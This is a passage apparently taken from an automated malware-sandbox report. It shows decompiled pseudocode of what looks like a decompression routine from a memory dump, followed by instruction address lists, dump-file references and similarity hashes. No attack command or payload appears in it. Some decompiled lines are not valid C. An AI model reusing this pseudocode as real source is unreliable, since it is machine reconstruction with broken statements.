											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x004063dd
0x004063dd
0x004063dd
0x004063dd
0x004063e3
0x004063e7
0x004063eb
0x004063f5
0x00406403
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00406710
0x00406710
0x00406714
0x00000000
0x00000000
0x00406716
0x0040671f
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406737
0x00406750
0x00406753
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406748
0x0040674b
0x0040674b
0x0040676d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406714
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x004066e8
0x004066ec
0x00406824
0x00406824
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x004066f2
0x004066f8
0x004066ff
0x00406707
0x00406707
0x0040670a
0x00000000
0x0040670a
0x00406774
0x00406781
0x00406784
0x00406690
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00405e3b
0x00000000
0x00405e42
0x00405e46
0x00000000
0x00000000
0x00405e4c
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405ea7
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00406797
0x00000000
0x00406797
0x00405ef1
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1b
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x004067a6
0x00000000
0x004067a6
0x00405f61
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x00406818
0x00000000
0x00406818
0x0040666f
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00000000
0x00000000
0x00405fa8
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x00406247
0x0040624b
0x00406269
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406365
0x00406369
0x00406370
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x0040636b
0x00000000
0x00000000
0x0040638c
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x004067be
0x00000000
0x004067be
0x00406104
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00000000
0x00000000
0x004065de
0x004065de
0x004065e2
0x00406604
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00000000
0x00406614
0x004065e4
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x004066e6
0x004066a1
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678c
0x0040678f
0x00406690
0x00406690
0x00406690
0x00000000
0x00406696
0x00000000
0x004063c6
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x004066e6
0x00000000
0x00000000
0x00000000
0x0040640b
0x0040640b
0x0040640e
0x00406444
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00406806
0x00000000
0x00406806
0x00406582
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a4
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x004067d6
0x00000000
0x004067d6
0x00406197
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406710
0x004066d9

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ad8b3a7fce677aa33c13c02e3180aa90519ee056083dbfcd0f6a1ae91265e6c
Instruction ID: 95af8839098f806f541805b71f16133a603fad5641f47eebb8f014e75b9041d1
Opcode Fuzzy Hash: 8ad8b3a7fce677aa33c13c02e3180aa90519ee056083dbfcd0f6a1ae91265e6c
Instruction Fuzzy Hash: 58A13371D00229CBDF28CFA8C8447ADBBB1FF44305F25856AD856BB281D7789A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004065DE, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004065DE() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
